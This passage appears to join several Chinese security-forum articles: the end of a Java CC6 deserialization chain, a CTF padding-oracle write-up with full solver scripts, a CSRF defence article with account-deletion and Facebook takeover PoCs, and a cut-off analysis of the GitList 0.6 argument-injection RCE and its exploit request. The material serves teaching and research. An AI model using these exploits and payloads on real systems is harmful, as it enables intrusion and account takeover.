Field field = entry.getClass().getDeclaredField("map");
field.setAccessible(true);
field.set(entry,lazyMap);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC6"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("CC6"));
ois.readObject();
}
成功反序列化
## 小结
这条链子没有采用删除key 的方式，调用put 方法的时候添加的key 是直接添加在了实例化的HashMap 中，和LazyMap
没有关系，所以在后面只要我们使用反射把实例化的HashMap 替换成LazyMap
就能够直接进行序列化的操作了。调试时发现的一个比较鸡肋的知识点，仅能证明自己对这条链有自己的思考 | 社区文章 |
## crypto AES-128-TSB writeup
### 题目
AES-128-TSB (Cryptography, 219)
difficulty: easy (46 solvers)
Haven't you ever thought that GCM mode is overcomplicated and there must be a simpler way to achieve Authenticated Encryption? Here it is!
Server: aes-128-tsb.hackable.software 1337
server.py
server.py 内容:
#!/usr/bin/env python2
import SocketServer
import socket
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from struct import pack, unpack
from secret import AES_KEY, FLAG
class CryptoError(Exception):
pass
def split_by(data, step):
return [data[i : i+step] for i in xrange(0, len(data), step)]
def xor(a, b):
assert len(a) == len(b)
return ''.join([chr(ord(ai)^ord(bi)) for ai, bi in zip(a,b)])
def pad(msg):
byte = 16 - len(msg) % 16
return msg + chr(byte) * byte
def unpad(msg):
if not msg:
return ''
return msg[:-ord(msg[-1])]
def tsb_encrypt(aes, msg):
msg = pad(msg)
iv = get_random_bytes(16)
prev_pt = iv
prev_ct = iv
ct = ''
for block in split_by(msg, 16) + [iv]:
ct_block = xor(block, prev_pt)
ct_block = aes.encrypt(ct_block)
ct_block = xor(ct_block, prev_ct)
ct += ct_block
prev_pt = block
prev_ct = ct_block
return iv + ct
def tsb_decrypt(aes, msg):
iv, msg = msg[:16], msg[16:]
prev_pt = iv
prev_ct = iv
pt = ''
for block in split_by(msg, 16):
pt_block = xor(block, prev_ct)
pt_block = aes.decrypt(pt_block)
pt_block = xor(pt_block, prev_pt)
pt += pt_block
prev_pt = pt_block
prev_ct = block
pt, mac = pt[:-16], pt[-16:]
if mac != iv:
raise CryptoError()
return unpad(pt)
def send_binary(s, msg):
s.sendall(pack('<I', len(msg)))
s.sendall(msg)
def send_enc(s, aes, msg):
send_binary(s, tsb_encrypt(aes, msg))
def recv_exact(s, length):
buf = ''
while length > 0:
data = s.recv(length)
if data == '':
raise EOFError()
buf += data
length -= len(data)
return buf
def recv_binary(s):
size = recv_exact(s, 4)
size = unpack('<I', size)[0]
return recv_exact(s, size)
def recv_enc(s, aes):
data = recv_binary(s)
return tsb_decrypt(aes, data)
def main(s):
aes = AES.new(AES_KEY, AES.MODE_ECB)
try:
while True:
a = recv_binary(s)
b = recv_enc(s, aes)
if a == b:
if a == 'gimme_flag':
send_enc(s, aes, FLAG)
else:
# Invalid request, send some random garbage instead of the
# flag :)
send_enc(s, aes, get_random_bytes(len(FLAG)))
else:
send_binary(s, 'Looks like you don\'t know the secret key? Too bad.')
except (CryptoError, EOFError):
pass
class TaskHandler(SocketServer.BaseRequestHandler):
def handle(self):
main(self.request)
if __name__ == '__main__':
SocketServer.ThreadingTCPServer.allow_reuse_address = True
server = SocketServer.ThreadingTCPServer(('0.0.0.0', 1337), TaskHandler)
server.serve_forever()
### 题目分析
题目实现了如下图的密码系统,定义为TSB:
程序逻辑如下:
def main(s):
aes = AES.new(AES_KEY, AES.MODE_ECB)
try:
while True:
a = recv_binary(s)
b = recv_enc(s, aes)
if a == b:
if a == 'gimme_flag':
send_enc(s, aes, FLAG)
else:
# Invalid request, send some random garbage instead of the
# flag :)
send_enc(s, aes, get_random_bytes(len(FLAG)))
else:
send_binary(s, 'Looks like you don\'t know the secret key? Too bad.')
except (CryptoError, EOFError):
pass
### 解题思路
我们可以控制a,b,a为明文,b为密文,并且有个解密oracle,通过判断`a==b`,和服务器的返回结果,判断密文的解密情况.
step1是拿到一串服务器加密的密文,修改某些位置的byte后,让a=='gimme_flag',得到flag加密后的密文.通过构造
a="",b="",则可以得到`send_enc(s, aes,
get_random_bytes(len(FLAG)))`密文,则我们知道padding后的flag长度为64,通过unpad的漏洞,可以知道padding值是13并且能通过oracle得到b="gimme_flagxxxxxx...\x36",从而得到flag加密后的密文.
step2:
通过一位位的增加a,修改flag密文的pading值,从而很轻松得到flag(注意当到16byte时,check通过时,爆破的是padding值,而不是flag值)
### 脚本
step1.py
#!/usr/bin/env python2
#flag format DrgnS{...}
import SocketServer
import socket
from pwn import *
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from struct import pack, unpack
from sys import argv, stdout
import time
import copy
io = remote("aes-128-tsb.hackable.software",1337)
# io = remote("127.0.0.1",1337)
# context.log_level = "debug"
#useful function
def split_by(data, step):
return [data[i : i+step] for i in xrange(0, len(data), step)]
def xor(a, b):
assert len(a) == len(b)
return ''.join([chr(ord(ai)^ord(bi)) for ai, bi in zip(a,b)])
def pad(msg):
byte = 16 - len(msg) % 16
return msg + chr(byte) * byte
def unpad(msg):
if not msg:
return ''
return msg[:-ord(msg[-1])]
def once(size_a,a,size_b,b):
io.send(size_a)
io.send(a)
io.send(size_b)
io.send(b)
once(p32(0),"",p32(0),"")
size = unpack('<I', io.recv(4))[0]
data = io.recv(size)
data = bytearray(data)
#test get the last char of the padded plaintext
collect_xor = []
block = split_by(data,16)
print repr("".join(str(i) for i in block))
modify_bk = split_by(data,16)
target = "gimme_flag"
for loop in range(0,len(target)):
print "working on \033[31m%s\033[0m"%(target[loop])
for xx in range(0,256):
# print xx
flag = 0
for a in [13]:
stdout.write("[+] Test [Byte %03i/256 - Byte %03i/256] \r\n\r" % (xx,a))
# stdout.flush()
for index in range(len(modify_bk)):
if index==0:
modify_bk[index][-1] = chr(a^(63-loop)^block[index][-1])
modify_bk[index][loop] = chr(xx^block[index][loop])
else:
modify_bk[index][-1]=chr(block[index-1][-1]^block[index][-1]^modify_bk[index-1][-1])
modify_bk[index][loop]=chr(block[index-1][loop]^block[index][loop]^modify_bk[index-1][loop])
modify = "".join(str(i) for i in modify_bk)
once(p32(loop+1),target[:loop+1],p32(size),modify)
check_size = unpack('<I', io.recv(4))[0]
check_data = io.recv(check_size)
if 'Looks like you don\'t know the secret key? Too bad.' not in check_data:
print repr(modify)
print repr("".join(str(i) for i in block))
for index in range(len(block)):
if index==0:
block[index][loop] = chr(xx^block[index][loop])
else:
block[index][loop]=chr(block[index-1][loop]^block[index][loop]^modify_bk[index-1][loop])
print repr("".join(str(i) for i in block))
flag = 1
break
if flag:
break
print repr("".join(str(i) for i in block))
setp2_1.py (flag位置不是16byte整数倍时)
#!/usr/bin/env python2
#flag format DrgnS{...}
import SocketServer
import socket
from pwn import *
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from struct import pack, unpack
from sys import argv, stdout
import time
import copy
io = remote("aes-128-tsb.hackable.software",1337)
# io = remote("127.0.0.1",1337)
# context.log_level = "debug"
#useful function
def split_by(data, step):
return [data[i : i+step] for i in xrange(0, len(data), step)]
def xor(a, b):
assert len(a) == len(b)
return ''.join([chr(ord(ai)^ord(bi)) for ai, bi in zip(a,b)])
def pad(msg):
byte = 16 - len(msg) % 16
return msg + chr(byte) * byte
def unpad(msg):
if not msg:
return ''
return msg[:-ord(msg[-1])]
def once(size_a,a,size_b,b):
io.send(size_a)
io.send(a)
io.send(size_b)
io.send(b)
target = 'gimme_flag'
pre_padding = 13
mac = '\xdb\x1bC\xa0\x9c\x90\xda2\x10\xb0$^\xa6\xf2\xdd\x9e\xbd\xe1:\xca\xb9Wy\xf8\x13!C69\xf2>\xaf\xc7\x8ba?U\x13/ZS\xb1\x00S\xc0\xe6\xc9\xfe\x93X\x92\xa1v\x93\xcd\x90\x0e\xce&7\x82\xe7O\xaeE_.B7\xb7\xc3%1F\x82i\x96\xcd\xe6\x9a\xdf\x18=9\xa3\x12\x07dU\x06\xb4\xc6\xb8\xe4\xb6\xce'
# print repr(mac)
# length = len(mac)
# print length
# mac = bytearray(mac)
# mac_block = split_by(mac,16)
# after_mac = split_by(mac,16)
# for index in range(len(mac_block)):
# if index==0:
# after_mac[index][-1] = chr(pre_padding^(63-9)^mac_block[index][-1])
# else:
# after_mac[index][-1]=chr(mac_block[index-1][-1]^mac_block[index][-1]^after_mac[index-1][-1])
# fake_mac = "".join(str(i) for i in after_mac)
fake_mac = '"\xc7\xb6\x18|\xce3\x88@jV\x9fy\xc4\xae\xb6P\x91\xbe\xc2\xc2v2\x128\r\x08\xb0\xc0\xebLq\xc62\xe7\xccVg/\x8e\x1a\xe5\xd9\xc2F\xa7\xd3\x12`\xca\xc7\xd8\xec\x89A-\x861h1\xf1E\x02\xb1q\x1b\xa9Ds!\xcc\x8c\xdb\x9d9#\xd0\xdc\xe6C\x88\xf40\xfd\x14\xe7\x05\xb1!bnYq\x86\xcb\x88'
print repr(fake_mac)
once(p32(len(target)),target,p32(len(fake_mac)),fake_mac)
size = unpack('<I', io.recv(4))[0]
data = io.recv(size)
data = bytearray(data)
#test get the last char of the padded plaintext
data = bytearray("XfMj\x03\x0c^[6\xda@\xd6c\x81av\x8b\xf0\x03\xdb\x06YK%\x1a\x9d\x81q\x8a^<\x9d\xb4\x0e\xbd\n#VTg\xa7l\xad{s\x00\xd8\xc3-\xab`\xe5C\xa4\xefh@\xab\xeeM >\xbfRF'J\xa0\xc6\xec\x85\xda\xb5#,?`\xbaJ:\x00}\xd9\xe8\xa9\x12\xb4dF\xf8\xa8g\x82I\x99\xa3")
block = split_by(data,16)
modify_bk = split_by(data,16)
print repr("".join(str(i) for i in block))
# flag="DrgnS{"
true_flag = "DrgnS{Thank_god_no_one_deployed_this_on_producti"
flag_array = bytearray(true_flag)
flag_copy = bytearray(true_flag)
for loop in range(48,51):
print "working on \033[31m%s\033[0m"%(str(loop))
for byte in range(126,31,-1):
# stdout.write("guessing %d"%(byte)+"\r\n")
# stdout.write("\r")
# stdout.flush()
block = split_by(data,16)
modify_bk = split_by(data,16)
for index in range(len(modify_bk)):
if index==0:
modify_bk[index][-1] = chr(pre_padding^(63-loop)^block[index][-1])
modify_bk[index][loop%16] = chr(flag_array[loop%16]^byte^block[index][loop%16])
else:
modify_bk[index][-1]=chr(block[index-1][-1]^block[index][-1]^modify_bk[index-1][-1])
modify_bk[index][loop%16]=chr(flag_array[loop%16]^byte^block[index][loop%16])
modify = "".join(str(i) for i in modify_bk)
# print flag_copy
flag_copy[loop%16]=byte
flag_copy[16+loop%16]=byte^flag_array[16+loop%16]^flag_array[loop%16]
flag_copy[32+loop%16]=byte^flag_array[32+loop%16]^flag_array[loop%16]
flag_copy[15] = ord("_")^(63-loop)^13
flag_copy[31] = ord("_")^(63-loop)^13
flag_copy[47] = ord("i")^(63-loop)^13
# print flag_copy
once(p32(loop+1),str(flag_copy)+true_flag[loop%16],p32(size),modify)
check_size = unpack('<I', io.recv(4))[0]
check_data = io.recv(check_size)
if 'Looks like you don\'t know the secret key? Too bad.' not in check_data:
flag_array = str(flag_array)+chr(byte)
print type(flag_array)
flag_array = bytearray(flag_array)
true_flag+=chr(byte)
flag_copy = copy.deepcopy(flag_array)
print "[+]flag is \033[31m%s\033[0m"%(repr(true_flag))
break
print true_flag
output:
working on 48
<type 'str'>
[+]flag is 'DrgnS{Thank_god_no_one_deployed_this_on_productio'
working on 49
<type 'str'>
[+]flag is 'DrgnS{Thank_god_no_one_deployed_this_on_production'
working on 50
<type 'str'>
[+]flag is 'DrgnS{Thank_god_no_one_deployed_this_on_production}'
DrgnS{Thank_god_no_one_deployed_this_on_production}
setp2_2.py (flag位置是16byte整数倍时)
#!/usr/bin/env python2
#flag format DrgnS{...}
import SocketServer
import socket
from pwn import *
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from struct import pack, unpack
from sys import argv, stdout
import time
import copy
io = remote("aes-128-tsb.hackable.software",1337)
# io = remote("127.0.0.1",1337)
# context.log_level = "debug"
#useful function
def split_by(data, step):
return [data[i : i+step] for i in xrange(0, len(data), step)]
def xor(a, b):
assert len(a) == len(b)
return ''.join([chr(ord(ai)^ord(bi)) for ai, bi in zip(a,b)])
def pad(msg):
byte = 16 - len(msg) % 16
return msg + chr(byte) * byte
def unpad(msg):
if not msg:
return ''
return msg[:-ord(msg[-1])]
def once(size_a,a,size_b,b):
io.send(size_a)
io.send(a)
io.send(size_b)
io.send(b)
target = 'gimme_flag'
pre_padding = 13
mac = '\xdb\x1bC\xa0\x9c\x90\xda2\x10\xb0$^\xa6\xf2\xdd\x9e\xbd\xe1:\xca\xb9Wy\xf8\x13!C69\xf2>\xaf\xc7\x8ba?U\x13/ZS\xb1\x00S\xc0\xe6\xc9\xfe\x93X\x92\xa1v\x93\xcd\x90\x0e\xce&7\x82\xe7O\xaeE_.B7\xb7\xc3%1F\x82i\x96\xcd\xe6\x9a\xdf\x18=9\xa3\x12\x07dU\x06\xb4\xc6\xb8\xe4\xb6\xce'
# print repr(mac)
# length = len(mac)
# print length
# mac = bytearray(mac)
# mac_block = split_by(mac,16)
# after_mac = split_by(mac,16)
# for index in range(len(mac_block)):
# if index==0:
# after_mac[index][-1] = chr(pre_padding^(63-9)^mac_block[index][-1])
# else:
# after_mac[index][-1]=chr(mac_block[index-1][-1]^mac_block[index][-1]^after_mac[index-1][-1])
# fake_mac = "".join(str(i) for i in after_mac)
fake_mac = '"\xc7\xb6\x18|\xce3\x88@jV\x9fy\xc4\xae\xb6P\x91\xbe\xc2\xc2v2\x128\r\x08\xb0\xc0\xebLq\xc62\xe7\xccVg/\x8e\x1a\xe5\xd9\xc2F\xa7\xd3\x12`\xca\xc7\xd8\xec\x89A-\x861h1\xf1E\x02\xb1q\x1b\xa9Ds!\xcc\x8c\xdb\x9d9#\xd0\xdc\xe6C\x88\xf40\xfd\x14\xe7\x05\xb1!bnYq\x86\xcb\x88'
print repr(fake_mac)
once(p32(len(target)),target,p32(len(fake_mac)),fake_mac)
size = unpack('<I', io.recv(4))[0]
data = io.recv(size)
data = bytearray(data)
#test get the last char of the padded plaintext
data = bytearray("XfMj\x03\x0c^[6\xda@\xd6c\x81av\x8b\xf0\x03\xdb\x06YK%\x1a\x9d\x81q\x8a^<\x9d\xb4\x0e\xbd\n#VTg\xa7l\xad{s\x00\xd8\xc3-\xab`\xe5C\xa4\xefh@\xab\xeeM >\xbfRF'J\xa0\xc6\xec\x85\xda\xb5#,?`\xbaJ:\x00}\xd9\xe8\xa9\x12\xb4dF\xf8\xa8g\x82I\x99\xa3")
block = split_by(data,16)
modify_bk = split_by(data,16)
print repr("".join(str(i) for i in block))
# flag="DrgnS{"
true_flag = "DrgnS{Thank_god_no_one_deployed_this_on_product"
flag_array = bytearray(true_flag)
flag_copy = bytearray(true_flag)
for loop in range(47,51):
print "working on \033[31m%s\033[0m"%(str(loop))
for byte in range(126,31,-1):
# stdout.write("guessing %d"%(byte)+"\r\n")
# stdout.write("\r")
# stdout.flush()
block = split_by(data,16)
modify_bk = split_by(data,16)
for index in range(len(modify_bk)):
if index==0:
modify_bk[index][-1] = chr(pre_padding^(63-loop)^block[index][-1])
# modify_bk[index][loop%16] = chr(flag_array[loop%16]^byte^block[index][loop%16])
else:
modify_bk[index][-1]=chr(block[index-1][-1]^block[index][-1]^modify_bk[index-1][-1])
# modify_bk[index][loop%16]=chr(flag_array[loop%16]^byte^block[index][loop%16])
modify = "".join(str(i) for i in modify_bk)
# print flag_copy
# flag_copy[loop%16]=byte
# flag_copy[16+loop%16]=byte^flag_array[16+loop%16]^flag_array[loop%16]
# flag_copy[32+loop%16]=byte^flag_array[32+loop%16]^flag_array[loop%16]
flag_copy[15] = ord("_")^(63-loop)^13
flag_copy[31] = ord("_")^(63-loop)^13
# print flag_copy
once(p32(loop+1),str(flag_copy)+chr(byte^(63-loop)^13),p32(size),modify)
check_size = unpack('<I', io.recv(4))[0]
check_data = io.recv(check_size)
if 'Looks like you don\'t know the secret key? Too bad.' not in check_data:
flag_array = str(flag_array)+chr(byte)
print type(flag_array)
flag_array = bytearray(flag_array)
true_flag+=chr(byte)
flag_copy = copy.deepcopy(flag_array)
print "[+]flag is \033[31m%s\033[0m"%(repr(true_flag))
break
print true_flag
得到位置为16byte整数倍的flag.
### 总结
思路很清楚,代码能力太差了,希望跟各位多交流. | 社区文章 |
# 浅析CSRF的防御和攻击案例
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
之前看了美团写的一篇CSRF的文章, 写的很好
<https://juejin.im/post/5bc009996fb9a05d0a055192>
但是现在有些点发生了一些变化, 因此我想从2020年的角度来重新看CSRF的防御
**当然我依然建议先阅读上面的文章** , 部分相同的地方就不再细述了
## CSRF原理
> CSRF（Cross-site request
> forgery）跨站请求伪造：攻击者诱导受害者进入第三方网站，在第三方网站中，向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证，绕过后台的用户验证，达到冒充用户对被攻击的网站执行某项操作的目的。
CSRF的攻击流程如下
1.受害者登录了目标网站
2.攻击者向受害者发送恶意链接
3.受害者点击链接, 链接中的js代码执行, 向目标网站发送某个请求
4.由于用户已登录, 请求会被成功执行
我们可以看到主要的点有3个
1.目标网站会保存登录状态
这个是十分普遍的, 假如你登录了一次B站, 关闭标签页后再打开, 你发现你要重新登录, 这样的用户体验就很糟糕了, 因此大部分网站都会保存登录状态
2.请求被成功执行
这个是关键点, 要实现的前提就是我们发送的请求必须被服务器正常的验证通过并成功执行, 如果存在登录验证之外的验证(例如后面的CSRF-token)则可能会使得请求不会执行, 攻击不成功
3.用户点击链接
我们在进行渗透测试的时候, 应该默认用户会点击, 而不是默认用户会有足够的安全意识, 并且实际上大部分用户都会点击的2333如果不点, 是你的描述不够诱人
防御上, 主要是从1和2入手
## 防御
### 同源检测
通过对HTTP请求中的`Origin`或者`Referer`字段来判断请求的来源, 对不在白名单内的来源进行过滤
这个检测的问题在于
1.这两个字段为空
2.白名单的实现
#### 空字段
我们是通过提取`Origin`或者`Referer`来判断来源, 那么如果字段为空呢?
比如说在302重定向的时候, 为了保护来源而不会携带`Origin`字段, `Referer`字段会受到`Referer Policy`规则的限制, 比如
<img src="http://example.com/" referrerpolicy="no-referrer">
这样的请求将不会携带`Referer`头, 具体的内容可以查看
<https://juejin.im/post/5bc009996fb9a05d0a055192#heading-9>
因此对于空字段的情况, 要看服务器在实现上是否允许通过
#### 白名单
白名单的话其实和CORS的绕过差不多, 无非都是看他的正则写得有没有问题, 比如下面的例子
w+example.com
那我们可以用
fakeexample.com
来绕过, 再比如下面的例子
^example.com
那可以用
example.com.fake.com
来绕过, 这都是正则没写好的例子, 大厂的正则也会有或多或少的问题2333
因此这个防御方式应当作为辅助而不是主要的防御方式, 当然我认为应该不会有大公司是单纯靠这个来检测的2333
### CSRF token
从第2点防御, 这也是现在用的最多的一种方式, 主要的表现为在表单或者cookie中加入一个hidden的token值
<input type="hidden" name="csrfmiddlewaretoken" value="xxxx">
现在大部分框架已经内置了CSRF token的实现, 例如在django中, 可以通过下面的代码来实现一个带有token的表单
<form method="post">{% csrf_token %}
这个值必须满足 **不可预测** 的要求, 一般的表现如下
1. 每次刷新都会改变
2. 在一段时间内有效
3. 验证不通过不会执行请求
> 在CTF中有一类题目是通过逐位注入的方式来获取token, 但是在现实中, 这个值由于是一直变化的, 因此注入并没有意义.
### SameSite cookie
从第1点进行防御, 是目前流行的方法, 也是写这篇文章的动机. 前面的文章提到
> 另外一个问题是Samesite的兼容性不是很好，现阶段除了从新版Chrome和Firefox支持以外，Safari以及iOS
> Safari都还不支持，现阶段看来暂时还不能普及。
在2020年的今天, 主流的浏览器已经 **准备 / 开始** SameSite的普及了
https://medium.com/@azure820529/chrome-80-後針對第三方-cookie-的規則調整-default-samesite-lax-aaba0bc785a3
简单来说, 大概在2020年底之前, 在Chrome中, SameSite属性的默认值为`Lax`, 而不是现在的`None`,
如果你没有设置SameSite的值, 也会被设置为`Lax`, 具体的时间表可以参考
<https://www.chromium.org/updates/same-site>
Firefox等浏览器也在积极的跟进.
先来回顾一下SameSite cookie的三种模式
#### Strict
用户在A页面登录后, 页面在cookie中存入了用户登录的凭证`cookie: login=1; SameSite=Strict; Secure`,
当用户从百度进入A页面或者其他方式对A页面进行跨域请求时, 都不会携带cookie, 也就是说我们处于未登录状态
#### Lax
用户在A页面登录后, 页面在cookie中存入了用户登录的凭证`cookie: login=1; SameSite=Lax; Secure`,
当用户从百度进入A页面, 使用的是`a`标签进行跳转, 允许携带cookie, 同样允许的操作还有`link`标签的`prerender`,
`GET`方式的`form`标签, 共三种情况允许携带cookie, 我们此时为登录状态, 其他情况则不允许
#### None
用户在A页面登录后, 页面在cookie中存入了用户登录的凭证`cookie: login=1; SameSite=None; Secure`,
当用户从百度进入A页面或者对A页面进行任意的跨域请求, 浏览器都会带上cookie进行访问, 我们此时为登录状态
表格总结如下
请求类型 | 示例 | Strict | Lax | None
---|---|---|---|---
链接 | `<a href="..."></a>` | | 发送cookie | 发送cookie
预加载 | `<link rel="prerender" href="..."/>` | | 发送cookie | 发送cookie
GET 表单 | `<form method="GET" action="...">` | | 发送cookie | 发送cookie
POST 表单 | `<form method="POST" action="...">` | | | 发送cookie
iframe | `<iframe src="..."></iframe>` | | | 发送cookie
AJAX | `$.get("...")` | | | 发送cookie
Image | `<img src="...">` | | | 发送cookie
> 参考 <https://www.ruanyifeng.com/blog/2019/09/cookie-samesite.html>
另外要注意的是`SameSite`属性在配置了`Secure`属性(cookie只能通过https传输)的情况下才会生效, 单独使用不会生效
# 无效
Set-Cookie: SESSIONID=test; SameSite=None
# 有效
Set-Cookie: SESSIONID=test; SameSite=None; Secure
## 案例
为了加深理解, 找了一些比较新的CSRF案例进行学习
### Microsoft子域CSRF更改用户信息
> https://medium.com/@adeshkolte/cross-site-request-forgery-vulnerability-> leads-to-user-profile-change-in-microsoft-express-logic-dc3481ab47ba
这里是找到了一个没有token保护的站点进行用户信息更改, 当然这种漏洞在国内的话应该不会通过的2333
### Google子域CSRF删除账户
> <https://santuysec.com/2020/01/21/google-bug-bounty-csrf-in-learndigital-> withgoogle-com/>
可以看到这个站点是有token保护的, 但是在删除账户的时候, 并没有对token进行正确的校验,
也就是说我们只需要提供一个有效的token(我们自身的token)即可通过校验, 看一下poc就可以明白了
const url = 'https://learndigital.withgoogle.com/digitalgarage/profile/wipeout';
fetch(url, {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'xsrf_token=<attacker_xsrf_token>'
});
### Facebook CSRF账号接管
> <https://ysamm.com/?p=185>
这是一个 25000刀 的漏洞, 值得一提的是作者发现了很多Facebook相关的漏洞, 有兴趣的可以去他的博客了解
漏洞利用主要分为两部分
第一部分是通过服务端的一个跳转
https://www.facebook.com/comet/dialog_DONOTUSE/?url=XXXX
在跳转到目标url的时候会自动带上csrf token, 使得后面的请求能够成功执行, 他提出了三种利用方式
1.在时间轴发布信息
2.删除个人资料图片
3.删除账户(需要用户输入密码)
这种方式是利用网站自身的特点绕过了CSRF保护, 而作者为了加大危害, 提出了第二部分, 也就是 **Account Takeover(账号接管)**
一般来说账号接管是重置用户密码, 这种情况下我们需要将攻击者的邮箱添加到用户账号里面, 然后使用邮箱进行密码重置, 流程简化如下
1.用户点击链接, 添加攻击者邮箱到账户
2.用户点击邮箱中的确认链接
这里攻击者如果直接点击确认链接的话, 应该绕不过OAUTH认证, 所以需要由用户来进行点击, 这就引申出一个问题, 怎么让用户点击两次?
这个问题在实际中实行难度比较高, 你不能说
> “hey, 这里有条消息你看一下”
>
> “hey, 又有一条消息, 你再看一下”
虽然我们前面说要认为用户会点击, 但是连续点两次这种操作不符合直觉, 那么这个问题就变成, 怎么不用让用户点击两次?
作者非常巧妙的找到了另外一个跳转点使得从double click变成one click, 这里简单分析一下步骤
1.发送一个url给用户
https://www.facebook.com/comet/dialog_DONOTUSE/?url=
/ajax/appcenter/redirect_to_app%3fapp_id={ATTACKER_APP}%26ref=appcenter_top_grossing%26redirect_uri=https%3a//www.facebook.com/v3.2/dialog/oauth%3fresponse_type%3dtoken%26client_id%3d{ATTACKER_APP}%26redirect_uri%3d{DOUBLE_URL_ENCODED_LINK}%26scope%3d&preview=0&fbs=125&sentence_id&gift_game=0&scopes[0]=email&gdpv4_source=dialog
攻击者将`ATTACKER_APP`授权给用户，然后重定向到
**<https://www.facebook.com/v3.2/dialog/oauth>**
使用`/v3.2/dialog/oauth`进行认证,
绕过Facebook重定向保护，它将使用具有允许该应用程序范围的access_token自动重定向到攻击者网站（这种情况无需用户干预，因为该应用程序已使用端点
**/ ajax / appcenter / redirect_to_app** 进行了授权）, 也就是`DOUBLE_URL_ENCODED_LINK`
2.攻击者网站会收到用户的access_token, 可以用于标识受害用户. 然后攻击者网站跳转到如下url
https://www.facebook.com/comet/dialog_DONOTUSE/?
url=/add_contactpoint/dialog/submit/%3fcontactpoint={EMAIL_CHOSEN}%26next=
/v3.2/dialog/oauth%253fresponse_type%253dtoken%2526client_id%253d{ATTACKER_APP}%2526redirect_uri%253d{DOUBLE_URL_ENCODED_LINK]
这个url执行的是添加攻击者邮箱到用户账号, 并再次重定向到攻击者网站
3.此时攻击者邮箱会收到一封邮件, 提取邮件中的网址并进行二次重定向, 使得邮箱成功添加到用户账号
具体的细节可以看原文 <https://ysamm.com/?p=185>
我们再分析一下他的跳转流程
用户点击链接 => 进入Facebook漏洞页面, 然后利用fapp和oauth的机制跳转到攻击者网站 => 攻击者网站跳转回facebook, 添加邮箱, 再跳转回攻击者网站=> 攻击者网站提取邮件链接, 跳转到邮件验证链接 => 成功添加
看起来会有点复杂, 但是攻击时间很短, 如果邮件发送的快的话只需要几秒就可以完成了, 方法十分巧妙, 可以看出作者对facebook的机制理解的很深.
## 后记
大部分情况下CSRF的利用并不复杂, 且常常与Account Takeover结合, 上面的三个案例都是来自国外的知名大厂,
所以不需要担心这种简单的漏洞不存在或者是已经被挖完了, 真正的难点是在于怎么去发现存在CSRF的端点.
> “Simple is not synonymous for easy.”
> “简单不等于容易.”
>
> Stephane Castellani
## 参考
1.<https://juejin.im/post/5bc009996fb9a05d0a055192>
2.<https://www.ruanyifeng.com/blog/2019/09/cookie-samesite.html> | 社区文章 |
# 如何在开发中避免远程命令执行漏洞的一些思考以及相关漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概要
1. 安全公告 -> Exploit 应该经历的步骤
2. GitList 0.6 Unauthenticated RCE 分析
3. 为何使用了 PHP escapeshellcmd / escapeshellarg 函数，依然存在 RCE 漏洞
4. GitList 的 $branch 参数是否可以再次命令注入？
5. git grep 如何实现，是否也是调用了系统命令？
6. 分析使用 `--` 修复该漏洞是否完善
7. 安全开发的一些建议
## 信息
漏洞作者信息:
# Exploit Title: GitList 0.6 Unauthenticated RCE
# Date: 25-04-2018
# Software Link: https://github.com/klaussilveira/gitlist
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: remote
## 分析
参考 [EXP](https://www.exploit-db.com/exploits/44548/):
# 核心代码如下:
import requests
host = 'localhost'
port = '80'
repo = 'gitlist'
branch = 'master'
command = 'id'
search_url = 'http://%s:%d/%s/tree/%s/search' % (host, port, repo, branch)
requests.post(
search_url,
data={
'query':'--open-files-in-pager=%s' % (command)
}
)
个人分析这些开源项目 WEB 漏洞的经验并不是很足, 总结一下并不算经验的经验
下图为本文中要分析的 GitList 远程命令执行漏洞套用在上图中的执行流程
本文接下来会按照上图中的关键节点进行分析:
## 安全公告
> <https://www.exploit-db.com/exploits/44548/>
## Exploit 脚本
> <https://www.exploit-db.com/exploits/44548/>
## 关键字
1. 该项目 GitHub 仓库已经对该漏洞进行修复
>
> <https://github.com/klaussilveira/gitlist/commit/87b8c26b023c3fc37f0796b14bb13710f397b322>
由此可知存在漏洞的文件为:
[src/Git/Repository.php](https://github.com/klaussilveira/gitlist/commit/87b8c26b023c3fc37f0796b14bb13710f397b322#diff-8ca606c62dcfbfc0804fc52da0ef371f
"src/Git/Repository.php")
1. 根据 Exploit 中请求的 URL , 定位到文件
`
## 漏洞位置
>
> <https://github.com/klaussilveira/gitlist/commit/87b8c26b023c3fc37f0796b14bb13710f397b322#diff-8ca606c62dcfbfc0804fc52da0ef371fL328>
## 漏洞成因
看到这个漏洞的利用方式, 让我感觉到很奇怪的一点
[代码](https://github.com/klaussilveira/gitlist/blob/cc1dc5af14e83dc7ca602694a1d2bfb7878d3aa8/src/Git/Repository.php#L325)中明明已经对传入的参数
`$query` 使用了 `escapeshellarg` 函数以确保安全性
为什么仍然可以被利用呢?
命令行的参数根据需求大致可以分为这几种:
1. 传值类的参数
例如: `php -r 'phpinfo();'` 其中的 `-r` 参数为传值类型, 该参数后由 `${IFS}` 分割, 之后的第一个参数为该参数的值
2. 开关类的参数
例如: `ls -a` 中的 `-a` 即为开关类型的参数, 有这个参数则会显示隐藏文件, 没有则不显示
该漏洞中被执行的命令为:
git grep -i --line-number $query $branch
其中参数: `-i` 为开关类型的参数, 而不是传值类的参数, 含义为是否大小写不敏感, 有该参数则忽略大小写进行匹配, 以下为 man 手册
-i, --ignore-case
Ignore case differences between the patterns and the files.
其中参数: `--line-number` 为一个开关类型的参数, 而不是传值类型的参数, 有该参数则会在结果中显示匹配行的行数, 没有则不显示, 以下为
man 手册
-n, --line-number
Prefix the line number to matching lines.
我们知道 php 的系统命令最终是调用 sh 这个 shell 来执行的
在 sh 下, 命令的参数有如下特点:
* 如果某一个参数被单引号包裹, 那么 sh 在创建新进程, 给新进程的 main 函数传递参数之前, 是会把单引号去掉的
例如:
➜ ~ /bin/sh
$ cat main.py
#!/usr/bin/env python
# coding:utf-8
import sys
